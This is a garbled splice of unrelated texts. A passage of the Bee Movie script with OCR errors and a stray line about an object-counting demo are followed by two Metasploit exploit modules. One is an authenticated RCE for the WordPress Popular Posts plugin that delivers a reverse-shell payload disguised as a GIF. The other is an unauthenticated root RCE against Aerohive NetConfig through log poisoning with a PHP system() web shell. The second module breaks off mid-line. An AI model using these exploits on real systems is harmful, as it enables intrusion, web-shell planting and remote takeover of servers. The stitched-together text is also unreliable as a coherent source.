sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And

This demo project for detection, tracking and counting anything (car, human, etc)

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('Target is not an Aerohive NetConfig application.') end version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep 